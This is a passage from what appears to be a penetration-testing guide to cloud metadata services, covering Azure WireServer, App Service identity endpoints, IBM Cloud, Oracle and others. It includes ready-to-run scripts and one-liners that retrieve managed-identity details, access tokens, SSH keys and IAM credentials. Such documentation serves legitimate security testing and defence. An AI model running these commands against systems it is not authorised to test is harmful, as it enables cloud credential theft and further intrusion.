services 593 - Health monitoring 594 595 --- 596 597 #### GoalState & ExtensionsConfig 598 599 The **GoalState** represents the **desired configuration of the VM** as defined by Azure. It may include: 600 601 - Extensions configuration 602 - Managed identities 603 - Provisioning state 604 - Agent instructions 605 606 The **ExtensionsConfig** contains detailed configuration of VM extensions and may include: 607 608 - **User Assigned Managed Identities** 609 - Extension settings 610 - Secrets (depending on extension) 611 612 These endpoints are typically accessed via: 613 614 ```bash 615 curl -H "x-ms-version: 2012-11-30" http://168.63.129.16/?comp=goalstate 616 ``` 617 618 #### Access Restrictions 619 620 Although the endpoint is reachable from the VM network, **it is not equally accessible from all contexts**. 621 622 **Accessible from**: 623 624 - Azure **VM Agent** 625 - Azure **Run Command** 626 - **VM Extensions** 627 628 **Not reliably accessible from**: 629 630 - Interactive SSH sessions (e.g., `azureuser`) 631 - Unprivileged processes inside the VM 632 633 This is because: 634 635 - The WireServer is designed for **platform-agent communication** 636 - Requests may require **specific headers, timing, or context** 637 - Some responses are only available to the **VM Agent execution environment** 638 639 --- 640 641 #### Run Command vs SSH Context 642 643 Azure provides multiple ways to execute commands inside a VM, but **they do not run in the same context**. 644 645 --- 646 647 ##### Run Command 648 649 Run Command is an Azure feature that executes scripts via the **VM Agent**. 650 651 - Uses: `Microsoft.Compute/virtualMachines/runCommand/action` 652 - Runs with **agent-level privileges** 653 - Has access to: 654 - WireServer 655 - GoalState 656 - ExtensionsConfig 657 658 Example: 659 660 ```bash 661 az vm run-command invoke \ 662 --resource-group <rsc-group> \ 663 --name <vm-name> \ 664 --command-id RunShellScript \ 665 --scripts @script.sh 666 ``` 667 668 ##### SSH Session 669 670 When connecting via SSH: 671 672 - Runs as a **regular OS user** 673 - Uses standard network stack 674 - Does **NOT have agent-level access** 675 676 As a result: 677 678 - Requests to `168.63.129.16` may fail or return incomplete data 679 - GoalState may not be accessible 680 681 **Script Examples to get attached managed identities:** 682 683 ### Linux 684 ```bash 685 #!/usr/bin/env bash 686 set -euo pipefail 687 688 ws="http://168.63.129.16" 689 690 echo "[*] Getting Goal State..." 691 692 goal_urls=( 693 "$ws/?comp=goalstate" 694 "$ws/machine?comp=goalstate" 695 "$ws/machine/?comp=goalstate" 696 ) 697 698 goal_xml="" 699 for url in "${goal_urls[@]}"; do 700 if goal_xml="$(curl -fsS -H "x-ms-version: 2012-11-30" "$url" 2>/dev/null)"; then 701 echo "[+] GoalState OK via $url" 702 break 703 fi 704 done 705 706 if [[ -z "$goal_xml" ]]; then 707 echo "[-] No GoalState endpoint responded" 708 exit 1 709 fi 710 711 ext_url="$( 712 GOAL_XML="$goal_xml" python3 - <<'PY' 713 import os 714 import xml.etree.ElementTree as ET 715 716 xml = os.environ["GOAL_XML"].strip() 717 root = ET.fromstring(xml) 718 719 def lname(tag): 720 return tag.rsplit("}", 1)[-1] 721 722 for el in root.iter(): 723 if lname(el.tag) == "ExtensionsConfig" and (el.text or "").strip(): 724 print(el.text.strip()) 725 break 726 PY 727 )" 728 729 if [[ -z "$ext_url" ]]; then 730 echo "[-] No ExtensionsConfig URL found in GoalState" 731 echo "[*] Identity-like nodes seen in GoalState:" 732 GOAL_XML="$goal_xml" python3 - <<'PY' 733 import os 734 import xml.etree.ElementTree as ET 735 736 xml = os.environ["GOAL_XML"].strip() 737 root = ET.fromstring(xml) 738 739 def lname(tag): 740 return tag.rsplit("}", 1)[-1] 741 742 found = False 743 for el in root.iter(): 744 name = lname(el.tag) 745 if "Identity" in name: 746 found = True 747 text = (el.text or "").strip() 748 print(f"<{name}>{text}</{name}>") 749 750 if not found: 751 print(" (none)") 752 PY 753 exit 0 754 fi 755 756 echo "[*] Getting ExtensionsConfig..." 757 ext_xml="$(curl -fsS -H "x-ms-version: 2012-11-30" "$ext_url")" 758 759 EXT_XML="$ext_xml" python3 - <<'PY' 760 import os 761 import xml.etree.ElementTree as ET 762 763 xml = os.environ["EXT_XML"].strip() 764 root = ET.fromstring(xml) 765 766 def lname(tag): 767 return tag.rsplit("}", 1)[-1] 768 769 ids = [el for el in root.iter() if lname(el.tag) == "UserAssignedIdentity"] 770 771 if not ids: 772 print("[-] No UserAssignedIdentity nodes found") 773 print("[*] Identity-like nodes present in ExtensionsConfig:") 774 shown = False 775 for el in root.iter(): 776 name = lname(el.tag) 777 if "Identity" in name: 778 shown = True 779 text = (el.text or "").strip() 780 attrs = " ".join(f'{k}="{v}"' for k, v in el.attrib.items()) 781 if attrs: 782 print(f" <{name} {attrs}>{text}</{name}>") 783 else: 784 print(f" <{name}>{text}</{name}>") 785 if not shown: 786 print(" (none)") 787 raise SystemExit(0) 788 789 for idnode in ids: 790 client_id = "" 791 object_id = "" 792 resource_id = "" 793 794 for child in idnode.iter(): 795 name = lname(child.tag) 796 text = (child.text or "").strip() 797 if name == "IdentityClientId": 798 client_id = text 799 elif name == "IdentityObjectId": 800 object_id = text 801 elif name == "IdentityResourceId": 802 resource_id = text 803 804 print() 805 print("[+] Managed Identity:") 806 print(f" ClientId : {client_id}") 807 print(f" ObjectId : {object_id}") 808 print(f" ResourceId : {resource_id}") 809 PY 810 ``` 811 812 ### Windows 813 ```bash 814 $ws = "http://168.63.129.16" 815 $h = @{ 816 "x-ms-version" = "2012-11-30" 817 } 818 819 Write-Host "[*] Getting Goal State..." -ForegroundColor Cyan 820 821 $goalUrls = @( 822 "$ws/?comp=goalstate", 823 "$ws/machine?comp=goalstate", 824 "$ws/machine/?comp=goalstate" 825 ) 826 827 $gs = $null 828 829 foreach ($url in $goalUrls) { 830 try { 831 $gs = Invoke-WebRequest -Uri $url -Headers $h -UseBasicParsing -ErrorAction Stop 832 Write-Host "[+] GoalState OK via $url" -ForegroundColor Green 833 break 834 } catch {} 835 } 836 837 if (-not $gs) { 838 Write-Host "[-] No GoalState endpoint responded" -ForegroundColor Red 839 return 840 } 841 842 [xml]$xml = $gs.Content 843 $cfg = $xml.GoalState.Container.RoleInstanceList.RoleInstance.Configuration 844 845 $extUrl = $cfg.ExtensionsConfig 846 847 Write-Host "[*] Getting ExtensionsConfig..." -ForegroundColor Cyan 848 849 try { 850 $ext = Invoke-WebRequest -Uri $extUrl -Headers $h -UseBasicParsing -ErrorAction Stop 851 [xml]$extXml = $ext.Content 852 } catch { 853 Write-Host "[-] Error getting ExtensionsConfig" -ForegroundColor Red 854 return 855 } 856 857 # Extract Managed Identity info 858 $ids = $extXml.SelectNodes("//UserAssignedIdentity") 859 860 if (!$ids) { 861 Write-Host "[-] No User Assigned Identities found" -ForegroundColor Red 862 return 863 } 864 865 foreach ($id in $ids) { 866 $clientId = $id.IdentityClientId 867 $objectId = $id.IdentityObjectId 868 $resourceId = $id.IdentityResourceId 869 870 Write-Host "`n[+] Managed Identity:" -ForegroundColor Green 871 Write-Host " ClientId : $clientId" 872 Write-Host " ObjectId : $objectId" 873 Write-Host " ResourceId : $resourceId" 874 } 875 ``` 876 877 878 ### Azure App & Functions Services & Automation Accounts 879 880 From the **env** you can get the values of **`IDENTITY_HEADER`** and **`IDENTITY_ENDPOINT`**. That you can use to gather a token to speak with the metadata server. 881 882 Most of the time, you want a token for one of these resources: 883 884 - [https://storage.azure.com](https://storage.azure.com/) 885 - [https://vault.azure.net](https://vault.azure.net/) 886 - [https://graph.microsoft.com](https://graph.microsoft.com/) 887 - [https://management.azure.com](https://management.azure.com/) 888 889 > [!CAUTION] 890 > The same selector rule applies through an App Service or Functions identity endpoint: add `object_id`, `client_id`, or `msi_res_id` for a user-assigned identity, or omit them to request the default identity ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). 891 892 ### Bash 893 ```bash 894 # Check for those env vars to know if you are in an Azure app 895 echo $IDENTITY_HEADER 896 echo $IDENTITY_ENDPOINT 897 898 # (Fingerprint) You should also be able to find the folder: 899 ls /opt/microsoft 900 901 # Get management token 902 curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER" 903 # Get graph token 904 curl "$IDENTITY_ENDPOINT?resource=https://graph.microsoft.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER" 905 # Get vault token 906 curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER" 907 # Get storage token 908 curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER" 909 ``` 910 911 ### PS 912 ```bash 913 # Define the API version 914 $API_VERSION = "2019-08-01" 915 916 # Function to get a token for a specified resource 917 function Get-Token { 918 param ( 919 [string]$Resource 920 ) 921 $url = "$IDENTITY_ENDPOINT?resource=$Resource&api-version=$API_VERSION" 922 $headers = @{ 923 "X-IDENTITY-HEADER" = $IDENTITY_HEADER 924 } 925 try { 926 $response = Invoke-RestMethod -Uri $url -Headers $headers -Method Get 927 $response.access_token 928 } catch { 929 Write-Error "Error obtaining token for $Resource: $_" 930 } 931 } 932 933 # Get Management Token 934 $managementToken = Get-Token -Resource "https://management.azure.com/" 935 Write-Host "Management Token: $managementToken" 936 937 # Get Graph Token 938 $graphToken = Get-Token -Resource "https://graph.microsoft.com/" 939 Write-Host "Graph Token: $graphToken" 940 941 # Get Vault Token 942 $vaultToken = Get-Token -Resource "https://vault.azure.net/" 943 Write-Host "Vault Token: $vaultToken" 944 945 # Get Storage Token 946 $storageToken = Get-Token -Resource "https://storage.azure.com/" 947 Write-Host "Storage Token: $storageToken" 948 949 950 # Using one-liners 951 952 ## Get management token 953 (Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://management.azure.com/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token 954 955 ## Get graph token 956 (Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://graph.microsoft.com/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token 957 958 ## Get vault token 959 (Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://vault.azure.net/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token 960 961 ## Get storage token 962 (Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://storage.azure.com/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token 963 964 ## Remember that in Automation Accounts it might be declared the client ID of the assigned user managed identity inside the variable that can be gatehred with: 965 Get-AutomationVariable -Name 'AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID' 966 ``` 967 968 969 ## IBM Cloud 970 971 > [!WARNING] 972 > Note that in IBM by default metadata is not enabled, so it's possible that you won't be able to access it even if you are inside an IBM cloud VM 973 974 ```bash 975 export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\ 976 -H "Metadata-Flavor: ibm"\ 977 -H "Accept: application/json"\ 978 -d '{ 979 "expires_in": 3600 980 }' | jq -r '(.access_token)'` 981 982 # Get instance details 983 curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq 984 985 # Get SSH keys info 986 curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq 987 988 # Get SSH keys fingerprints & user data 989 curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq 990 991 # Get placement groups 992 curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq 993 994 # Get IAM credentials 995 curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq 996 ``` 997 998 Documentation for various platforms' metadata services is outlined below, highlighting the methods through which configuration and runtime information for instances can be accessed. Each platform offers unique endpoints to access its metadata services. 999 1000 ## Packetcloud 1001 1002 For accessing Packetcloud's metadata, the documentation can be found at: [https://metadata.packet.net/userdata](https://metadata.packet.net/userdata) 1003 1004 ## OpenStack/RackSpace 1005 1006 The necessity for a header is not mentioned. Metadata can be accessed through: 1007 1008 - `http://169.254.169.254/openstack` 1009 1010 ## HP Helion 1011 1012 The necessity for a header is not mentioned here either. Metadata is accessible at: 1013 1014 - `http://169.254.169.254/2009-04-04/meta-data/` 1015 1016 ## Oracle Cloud 1017 1018 Oracle Cloud Infrastructure has an **IMDSv2** mode that is much more relevant today than the legacy `/latest/` examples.<sup>[[2]](#references)</sup> In IMDSv2: 1019 1020 - Requests go to `http://169.254.169.254/opc/v2/` 1021 - Requests must include the header `Authorization: Bearer Oracle` 1022 - Requests carrying `Forwarded`, `X-Forwarded-For`, or `X-Forwarded-Host` are rejected 1023 - If the instance is configured to only allow IMDSv2, the old `/opc/v1` and `/openstack` paths return `404` 1024 1025 Interesting endpoints: 1026 1027 ```bash 1028 curl -s -H "Authorization: Bearer Oracle" \ 1029 http://169.254.169.254/opc/v2/instance/ 1030 1031 curl -s -H "Authorization: Bearer Oracle" \ 1032 http://169.254.169.254/opc/v2/vnics/ 1033 ``` 1034 1035 So, from an SSRF perspective, OCI now behaves much closer to the hardened cloud metadata services that require a **mandatory header** and explicitly reject common **forwarded-header proxy patterns**. 1036 1037 ## Alibaba 1038 1039 Alibaba offers endpoints for accessing metadata, including instance and image IDs: 1040 1041 - `http://100.100.100.200/latest/meta-data/` 1042 - `http://100.100.100.200/latest/meta-data/instance-id` 1043 - `http://100.100.100.200/latest/meta-data/image-id` 1044 1045 ## Kubernetes ETCD 1046 1047 Kubernetes ETCD can hold API keys, internal IP addresses, and ports. Access is demonstrated through: 1048 1049 - `curl -L http://127.0.0.1:2379/version` 1050 - `curl http://127.0.0.1:2379/v2/keys/?recursive=true` 1051 1052 ## Docker 1053 1054 Docker metadata can be accessed locally, with examples given for container and image information retrieval: 1055 1056 - Simple example to access containers and images metadata via the Docker socket: 1057 - `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash` 1058 - Inside the container, use curl with the Docker socket: 1059 - `curl --unix-socket /var/run/docker.sock http://foo/containers/json` 1060 - `curl --unix-socket /var/run/docker.sock http://foo/images/json` 1061 1062 ## Rancher 1063 1064 Rancher's metadata can be accessed using: 1065 1066 - `curl http://rancher-metadata/<version>/<path>` 1067 1068 1069 ## References 1070 1071 - [1] [AWS SDKs and Tools Reference Guide - Container credential provider](https://docs.aws.amazon.com/sdkref/latest/guide/feature-container-credentials.html) 1072 - [2] [Oracle Cloud Infrastructure - Instance Metadata Service v2](https://docs.oracle.com/en-us/iaas/Content/Compute/Tasks/gettingmetadata.htm)